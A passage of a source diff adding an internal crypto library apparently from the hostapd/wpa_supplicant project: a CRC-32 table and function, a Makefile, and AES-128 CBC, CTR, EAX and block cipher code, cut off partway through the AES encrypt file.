/* Copyright (C) 1986 Gary S. Brown. You may use this program, or
|
||||
code or tables extracted from it, as desired without restriction.*/
|
||||
|
||||
/* First, the polynomial itself and its table of feedback terms. The */
|
||||
/* polynomial is */
|
||||
/* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */
|
||||
/* Note that we take it "backwards" and put the highest-order term in */
|
||||
/* the lowest-order bit. The X^32 term is "implied"; the LSB is the */
|
||||
/* X^31 term, etc. The X^0 term (usually shown as "+1") results in */
|
||||
/* the MSB being 1. */
|
||||
|
||||
/* Note that the usual hardware shift register implementation, which */
|
||||
/* is what we're using (we're merely optimizing it by doing eight-bit */
|
||||
/* chunks at a time) shifts bits into the lowest-order term. In our */
|
||||
/* implementation, that means shifting towards the right. Why do we */
|
||||
/* do it this way? Because the calculated CRC must be transmitted in */
|
||||
/* order from highest-order term to lowest-order term. UARTs transmit */
|
||||
/* characters in order from LSB to MSB. By storing the CRC this way, */
|
||||
/* we hand it to the UART in the order low-byte to high-byte; the UART */
|
||||
/* sends each low-bit to hight-bit; and the result is transmission bit */
|
||||
/* by bit from highest- to lowest-order term without requiring any bit */
|
||||
/* shuffling on our part. Reception works similarly. */
|
||||
|
||||
/* The feedback terms table consists of 256, 32-bit entries. Notes: */
|
||||
/* */
|
||||
/* 1. The table can be generated at runtime if desired; code to do so */
|
||||
/* is shown later. It might not be obvious, but the feedback */
|
||||
/* terms simply represent the results of eight shift/xor opera- */
|
||||
/* tions for all combinations of data and CRC register values. */
|
||||
/* */
|
||||
/* 2. The CRC accumulation logic is the same for all CRC polynomials, */
|
||||
/* be they sixteen or thirty-two bits wide. You simply choose the */
|
||||
/* appropriate table. Alternatively, because the table can be */
|
||||
/* generated at runtime, you can start by generating the table for */
|
||||
/* the polynomial in question and use exactly the same "updcrc", */
|
||||
/* if your application needn't simultaneously handle two CRC */
|
||||
/* polynomials. (Note, however, that XMODEM is strange.) */
|
||||
/* */
|
||||
/* 3. For 16-bit CRCs, the table entries need be only 16 bits wide; */
|
||||
/* of course, 32-bit entries work OK if the high 16 bits are zero. */
|
||||
/* */
|
||||
/* 4. The values must be right-shifted by eight bits by the "updcrc" */
|
||||
/* logic; the shift must be unsigned (bring in zeroes). On some */
|
||||
/* hardware you could probably optimize the shift in assembler by */
|
||||
/* using byte-swap instructions. */
|
||||
|
||||
static const uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */
|
||||
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
|
||||
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
|
||||
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
|
||||
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
|
||||
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
|
||||
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
|
||||
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
|
||||
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
|
||||
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
|
||||
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
|
||||
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
|
||||
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
|
||||
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
|
||||
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
|
||||
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
|
||||
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
|
||||
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
|
||||
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
|
||||
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
|
||||
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
|
||||
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
|
||||
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
|
||||
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
|
||||
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
|
||||
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
|
||||
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
|
||||
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
|
||||
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
|
||||
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
|
||||
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
|
||||
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
|
||||
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
|
||||
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
|
||||
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
|
||||
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
|
||||
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
|
||||
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
|
||||
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
|
||||
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
|
||||
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
|
||||
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
|
||||
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
|
||||
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
|
||||
};
|
||||
|
||||
#define UPDC32(octet,crc) (crc_32_tab[((crc) ^ (octet)) & 0xff] ^ ((crc) >> 8))
|
||||
|
||||
uint32_t crc32(char *buf, size_t len)
|
||||
{
|
||||
uint32_t crc = 0xFFFFFFFF;
|
||||
|
||||
for ( ; len; --len, ++buf)
|
||||
{
|
||||
crc = UPDC32(*buf, crc);
|
||||
}
|
||||
|
||||
return crc;
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
libcrypto.a
|
|
@ -0,0 +1,56 @@
|
|||
all: libcrypto.a
|
||||
|
||||
clean:
|
||||
rm -f *~ *.o *.d libcrypto.a
|
||||
|
||||
install:
|
||||
@echo Nothing to be made.
|
||||
|
||||
|
||||
include ../lib.rules
|
||||
|
||||
CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT
|
||||
CFLAGS += -DCONFIG_TLS_INTERNAL_SERVER
|
||||
#CFLAGS += -DALL_DH_GROUPS
|
||||
|
||||
LIB_OBJS= \
|
||||
aes-cbc.o \
|
||||
aes-ctr.o \
|
||||
aes-eax.o \
|
||||
aes-encblock.o \
|
||||
aes-internal.o \
|
||||
aes-internal-dec.o \
|
||||
aes-internal-enc.o \
|
||||
aes-omac1.o \
|
||||
aes-unwrap.o \
|
||||
aes-wrap.o \
|
||||
des-internal.o \
|
||||
dh_group5.o \
|
||||
dh_groups.o \
|
||||
md4-internal.o \
|
||||
md5.o \
|
||||
md5-internal.o \
|
||||
md5-non-fips.o \
|
||||
milenage.o \
|
||||
ms_funcs.o \
|
||||
rc4.o \
|
||||
sha1.o \
|
||||
sha1-internal.o \
|
||||
sha1-pbkdf2.o \
|
||||
sha1-tlsprf.o \
|
||||
sha1-tprf.o \
|
||||
sha256.o \
|
||||
sha256-internal.o
|
||||
|
||||
LIB_OBJS += crypto_internal.o
|
||||
LIB_OBJS += crypto_internal-cipher.o
|
||||
LIB_OBJS += crypto_internal-modexp.o
|
||||
LIB_OBJS += crypto_internal-rsa.o
|
||||
LIB_OBJS += tls_internal.o
|
||||
LIB_OBJS += fips_prf_internal.o
|
||||
|
||||
|
||||
libcrypto.a: $(LIB_OBJS)
|
||||
$(AR) crT $@ $?
|
||||
|
||||
-include $(OBJS:%.o=%.d)
|
|
@ -0,0 +1,86 @@
|
|||
/*
|
||||
* AES-128 CBC
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
/**
|
||||
* aes_128_cbc_encrypt - AES-128 CBC encryption
|
||||
* @key: Encryption key
|
||||
* @iv: Encryption IV for CBC mode (16 bytes)
|
||||
* @data: Data to encrypt in-place
|
||||
* @data_len: Length of data in bytes (must be divisible by 16)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len)
|
||||
{
|
||||
void *ctx;
|
||||
u8 cbc[AES_BLOCK_SIZE];
|
||||
u8 *pos = data;
|
||||
int i, j, blocks;
|
||||
|
||||
ctx = aes_encrypt_init(key, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
os_memcpy(cbc, iv, AES_BLOCK_SIZE);
|
||||
|
||||
blocks = data_len / AES_BLOCK_SIZE;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
for (j = 0; j < AES_BLOCK_SIZE; j++)
|
||||
cbc[j] ^= pos[j];
|
||||
aes_encrypt(ctx, cbc, cbc);
|
||||
os_memcpy(pos, cbc, AES_BLOCK_SIZE);
|
||||
pos += AES_BLOCK_SIZE;
|
||||
}
|
||||
aes_encrypt_deinit(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_128_cbc_decrypt - AES-128 CBC decryption
|
||||
* @key: Decryption key
|
||||
* @iv: Decryption IV for CBC mode (16 bytes)
|
||||
* @data: Data to decrypt in-place
|
||||
* @data_len: Length of data in bytes (must be divisible by 16)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len)
|
||||
{
|
||||
void *ctx;
|
||||
u8 cbc[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
|
||||
u8 *pos = data;
|
||||
int i, j, blocks;
|
||||
|
||||
ctx = aes_decrypt_init(key, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
os_memcpy(cbc, iv, AES_BLOCK_SIZE);
|
||||
|
||||
blocks = data_len / AES_BLOCK_SIZE;
|
||||
for (i = 0; i < blocks; i++) {
|
||||
os_memcpy(tmp, pos, AES_BLOCK_SIZE);
|
||||
aes_decrypt(ctx, pos, pos);
|
||||
for (j = 0; j < AES_BLOCK_SIZE; j++)
|
||||
pos[j] ^= cbc[j];
|
||||
os_memcpy(cbc, tmp, AES_BLOCK_SIZE);
|
||||
pos += AES_BLOCK_SIZE;
|
||||
}
|
||||
aes_decrypt_deinit(ctx);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
/*
|
||||
* AES-128 CTR
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
/**
|
||||
* aes_128_ctr_encrypt - AES-128 CTR mode encryption
|
||||
* @key: Key for encryption (16 bytes)
|
||||
* @nonce: Nonce for counter mode (16 bytes)
|
||||
* @data: Data to encrypt in-place
|
||||
* @data_len: Length of data in bytes
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int aes_128_ctr_encrypt(const u8 *key, const u8 *nonce,
|
||||
u8 *data, size_t data_len)
|
||||
{
|
||||
void *ctx;
|
||||
size_t j, len, left = data_len;
|
||||
int i;
|
||||
u8 *pos = data;
|
||||
u8 counter[AES_BLOCK_SIZE], buf[AES_BLOCK_SIZE];
|
||||
|
||||
ctx = aes_encrypt_init(key, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
os_memcpy(counter, nonce, AES_BLOCK_SIZE);
|
||||
|
||||
while (left > 0) {
|
||||
aes_encrypt(ctx, counter, buf);
|
||||
|
||||
len = (left < AES_BLOCK_SIZE) ? left : AES_BLOCK_SIZE;
|
||||
for (j = 0; j < len; j++)
|
||||
pos[j] ^= buf[j];
|
||||
pos += len;
|
||||
left -= len;
|
||||
|
||||
for (i = AES_BLOCK_SIZE - 1; i >= 0; i--) {
|
||||
counter[i]++;
|
||||
if (counter[i])
|
||||
break;
|
||||
}
|
||||
}
|
||||
aes_encrypt_deinit(ctx);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,151 @@
|
|||
/*
|
||||
* AES-128 EAX
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
/**
|
||||
* aes_128_eax_encrypt - AES-128 EAX mode encryption
|
||||
* @key: Key for encryption (16 bytes)
|
||||
* @nonce: Nonce for counter mode
|
||||
* @nonce_len: Nonce length in bytes
|
||||
* @hdr: Header data to be authenticity protected
|
||||
* @hdr_len: Length of the header data bytes
|
||||
* @data: Data to encrypt in-place
|
||||
* @data_len: Length of data in bytes
|
||||
* @tag: 16-byte tag value
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len,
|
||||
const u8 *hdr, size_t hdr_len,
|
||||
u8 *data, size_t data_len, u8 *tag)
|
||||
{
|
||||
u8 *buf;
|
||||
size_t buf_len;
|
||||
u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE],
|
||||
data_mac[AES_BLOCK_SIZE];
|
||||
int i, ret = -1;
|
||||
|
||||
if (nonce_len > data_len)
|
||||
buf_len = nonce_len;
|
||||
else
|
||||
buf_len = data_len;
|
||||
if (hdr_len > buf_len)
|
||||
buf_len = hdr_len;
|
||||
buf_len += 16;
|
||||
|
||||
buf = os_malloc(buf_len);
|
||||
if (buf == NULL)
|
||||
return -1;
|
||||
|
||||
os_memset(buf, 0, 15);
|
||||
|
||||
buf[15] = 0;
|
||||
os_memcpy(buf + 16, nonce, nonce_len);
|
||||
if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac))
|
||||
goto fail;
|
||||
|
||||
buf[15] = 1;
|
||||
os_memcpy(buf + 16, hdr, hdr_len);
|
||||
if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac))
|
||||
goto fail;
|
||||
|
||||
if (aes_128_ctr_encrypt(key, nonce_mac, data, data_len))
|
||||
goto fail;
|
||||
buf[15] = 2;
|
||||
os_memcpy(buf + 16, data, data_len);
|
||||
if (omac1_aes_128(key, buf, 16 + data_len, data_mac))
|
||||
goto fail;
|
||||
|
||||
for (i = 0; i < AES_BLOCK_SIZE; i++)
|
||||
tag[i] = nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i];
|
||||
|
||||
ret = 0;
|
||||
fail:
|
||||
os_free(buf);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* aes_128_eax_decrypt - AES-128 EAX mode decryption
|
||||
* @key: Key for decryption (16 bytes)
|
||||
* @nonce: Nonce for counter mode
|
||||
* @nonce_len: Nonce length in bytes
|
||||
* @hdr: Header data to be authenticity protected
|
||||
* @hdr_len: Length of the header data bytes
|
||||
* @data: Data to encrypt in-place
|
||||
* @data_len: Length of data in bytes
|
||||
* @tag: 16-byte tag value
|
||||
* Returns: 0 on success, -1 on failure, -2 if tag does not match
|
||||
*/
|
||||
int aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len,
|
||||
const u8 *hdr, size_t hdr_len,
|
||||
u8 *data, size_t data_len, const u8 *tag)
|
||||
{
|
||||
u8 *buf;
|
||||
size_t buf_len;
|
||||
u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE],
|
||||
data_mac[AES_BLOCK_SIZE];
|
||||
int i;
|
||||
|
||||
if (nonce_len > data_len)
|
||||
buf_len = nonce_len;
|
||||
else
|
||||
buf_len = data_len;
|
||||
if (hdr_len > buf_len)
|
||||
buf_len = hdr_len;
|
||||
buf_len += 16;
|
||||
|
||||
buf = os_malloc(buf_len);
|
||||
if (buf == NULL)
|
||||
return -1;
|
||||
|
||||
os_memset(buf, 0, 15);
|
||||
|
||||
buf[15] = 0;
|
||||
os_memcpy(buf + 16, nonce, nonce_len);
|
||||
if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) {
|
||||
os_free(buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
buf[15] = 1;
|
||||
os_memcpy(buf + 16, hdr, hdr_len);
|
||||
if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) {
|
||||
os_free(buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
buf[15] = 2;
|
||||
os_memcpy(buf + 16, data, data_len);
|
||||
if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) {
|
||||
os_free(buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
os_free(buf);
|
||||
|
||||
for (i = 0; i < AES_BLOCK_SIZE; i++) {
|
||||
if (tag[i] != (nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i]))
|
||||
return -2;
|
||||
}
|
||||
|
||||
return aes_128_ctr_encrypt(key, nonce_mac, data, data_len);
|
||||
}
|
|
@ -0,0 +1,38 @@
|
|||
/*
|
||||
* AES encrypt_block
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
/**
|
||||
* aes_128_encrypt_block - Perform one AES 128-bit block operation
|
||||
* @key: Key for AES
|
||||
* @in: Input data (16 bytes)
|
||||
* @out: Output of the AES block operation (16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out)
|
||||
{
|
||||
void *ctx;
|
||||
ctx = aes_encrypt_init(key, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
aes_encrypt(ctx, in, out);
|
||||
aes_encrypt_deinit(ctx);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,151 @@
|
|||
/*
|
||||
* AES (Rijndael) cipher - decrypt
|
||||
*
|
||||
* Modifications to public domain implementation:
|
||||
* - support only 128-bit keys
|
||||
* - cleanup
|
||||
* - use C pre-processor to make it easier to change S table access
|
||||
* - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at
|
||||
* cost of reduced throughput (quite small difference on Pentium 4,
|
||||
* 10-25% when using -O1 or -O2 optimization)
|
||||
*
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "aes_i.h"
|
||||
|
||||
/**
|
||||
* Expand the cipher key into the decryption key schedule.
|
||||
*
|
||||
* @return the number of rounds for the given cipher key size.
|
||||
*/
|
||||
void rijndaelKeySetupDec(u32 rk[/*44*/], const u8 cipherKey[])
|
||||
{
|
||||
int Nr = 10, i, j;
|
||||
u32 temp;
|
||||
|
||||
/* expand the cipher key: */
|
||||
rijndaelKeySetupEnc(rk, cipherKey);
|
||||
/* invert the order of the round keys: */
|
||||
for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) {
|
||||
temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp;
|
||||
temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp;
|
||||
temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp;
|
||||
temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp;
|
||||
}
|
||||
/* apply the inverse MixColumn transform to all round keys but the
|
||||
* first and the last: */
|
||||
for (i = 1; i < Nr; i++) {
|
||||
rk += 4;
|
||||
for (j = 0; j < 4; j++) {
|
||||
rk[j] = TD0_(TE4((rk[j] >> 24) )) ^
|
||||
TD1_(TE4((rk[j] >> 16) & 0xff)) ^
|
||||
TD2_(TE4((rk[j] >> 8) & 0xff)) ^
|
||||
TD3_(TE4((rk[j] ) & 0xff));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void * aes_decrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
u32 *rk;
|
||||
if (len != 16)
|
||||
return NULL;
|
||||
rk = os_malloc(AES_PRIV_SIZE);
|
||||
if (rk == NULL)
|
||||
return NULL;
|
||||
rijndaelKeySetupDec(rk, key);
|
||||
return rk;
|
||||
}
|
||||
|
||||
static void rijndaelDecrypt(const u32 rk[/*44*/], const u8 ct[16], u8 pt[16])
|
||||
{
|
||||
u32 s0, s1, s2, s3, t0, t1, t2, t3;
|
||||
const int Nr = 10;
|
||||
#ifndef FULL_UNROLL
|
||||
int r;
|
||||
#endif /* ?FULL_UNROLL */
|
||||
|
||||
/*
|
||||
* map byte array block to cipher state
|
||||
* and add initial round key:
|
||||
*/
|
||||
s0 = GETU32(ct ) ^ rk[0];
|
||||
s1 = GETU32(ct + 4) ^ rk[1];
|
||||
s2 = GETU32(ct + 8) ^ rk[2];
|
||||
s3 = GETU32(ct + 12) ^ rk[3];
|
||||
|
||||
#define ROUND(i,d,s) \
|
||||
d##0 = TD0(s##0) ^ TD1(s##3) ^ TD2(s##2) ^ TD3(s##1) ^ rk[4 * i]; \
|
||||
d##1 = TD0(s##1) ^ TD1(s##0) ^ TD2(s##3) ^ TD3(s##2) ^ rk[4 * i + 1]; \
|
||||
d##2 = TD0(s##2) ^ TD1(s##1) ^ TD2(s##0) ^ TD3(s##3) ^ rk[4 * i + 2]; \
|
||||
d##3 = TD0(s##3) ^ TD1(s##2) ^ TD2(s##1) ^ TD3(s##0) ^ rk[4 * i + 3]
|
||||
|
||||
#ifdef FULL_UNROLL
|
||||
|
||||
ROUND(1,t,s);
|
||||
ROUND(2,s,t);
|
||||
ROUND(3,t,s);
|
||||
ROUND(4,s,t);
|
||||
ROUND(5,t,s);
|
||||
ROUND(6,s,t);
|
||||
ROUND(7,t,s);
|
||||
ROUND(8,s,t);
|
||||
ROUND(9,t,s);
|
||||
|
||||
rk += Nr << 2;
|
||||
|
||||
#else /* !FULL_UNROLL */
|
||||
|
||||
/* Nr - 1 full rounds: */
|
||||
r = Nr >> 1;
|
||||
for (;;) {
|
||||
ROUND(1,t,s);
|
||||
rk += 8;
|
||||
if (--r == 0)
|
||||
break;
|
||||
ROUND(0,s,t);
|
||||
}
|
||||
|
||||
#endif /* ?FULL_UNROLL */
|
||||
|
||||
#undef ROUND
|
||||
|
||||
/*
|
||||
* apply last round and
|
||||
* map cipher state to byte array block:
|
||||
*/
|
||||
s0 = TD41(t0) ^ TD42(t3) ^ TD43(t2) ^ TD44(t1) ^ rk[0];
|
||||
PUTU32(pt , s0);
|
||||
s1 = TD41(t1) ^ TD42(t0) ^ TD43(t3) ^ TD44(t2) ^ rk[1];
|
||||
PUTU32(pt + 4, s1);
|
||||
s2 = TD41(t2) ^ TD42(t1) ^ TD43(t0) ^ TD44(t3) ^ rk[2];
|
||||
PUTU32(pt + 8, s2);
|
||||
s3 = TD41(t3) ^ TD42(t2) ^ TD43(t1) ^ TD44(t0) ^ rk[3];
|
||||
PUTU32(pt + 12, s3);
|
||||
}
|
||||
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
|
||||
{
|
||||
rijndaelDecrypt(ctx, crypt, plain);
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt_deinit(void *ctx)
|
||||
{
|
||||
os_memset(ctx, 0, AES_PRIV_SIZE);
|
||||
os_free(ctx);
|
||||
}
|
|
@ -0,0 +1,121 @@
|
|||
/*
|
||||
* AES (Rijndael) cipher - encrypt
|
||||
*
|
||||
* Modifications to public domain implementation:
|
||||
* - support only 128-bit keys
|
||||
* - cleanup
|
||||
* - use C pre-processor to make it easier to change S table access
|
||||
* - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at
|
||||
* cost of reduced throughput (quite small difference on Pentium 4,
|
||||
* 10-25% when using -O1 or -O2 optimization)
|
||||
*
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
#include "aes_i.h"
|
||||
|
||||
void rijndaelEncrypt(const u32 rk[/*44*/], const u8 pt[16], u8 ct[16])
|
||||
{
|
||||
u32 s0, s1, s2, s3, t0, t1, t2, t3;
|
||||
const int Nr = 10;
|
||||
#ifndef FULL_UNROLL
|
||||
int r;
|
||||
#endif /* ?FULL_UNROLL */
|
||||
|
||||
/*
|
||||
* map byte array block to cipher state
|
||||
* and add initial round key:
|
||||
*/
|
||||
s0 = GETU32(pt ) ^ rk[0];
|
||||
s1 = GETU32(pt + 4) ^ rk[1];
|
||||
s2 = GETU32(pt + 8) ^ rk[2];
|
||||
s3 = GETU32(pt + 12) ^ rk[3];
|
||||
|
||||
#define ROUND(i,d,s) \
|
||||
d##0 = TE0(s##0) ^ TE1(s##1) ^ TE2(s##2) ^ TE3(s##3) ^ rk[4 * i]; \
|
||||
d##1 = TE0(s##1) ^ TE1(s##2) ^ TE2(s##3) ^ TE3(s##0) ^ rk[4 * i + 1]; \
|
||||
d##2 = TE0(s##2) ^ TE1(s##3) ^ TE2(s##0) ^ TE3(s##1) ^ rk[4 * i + 2]; \
|
||||
d##3 = TE0(s##3) ^ TE1(s##0) ^ TE2(s##1) ^ TE3(s##2) ^ rk[4 * i + 3]
|
||||
|
||||
#ifdef FULL_UNROLL
|
||||
|
||||
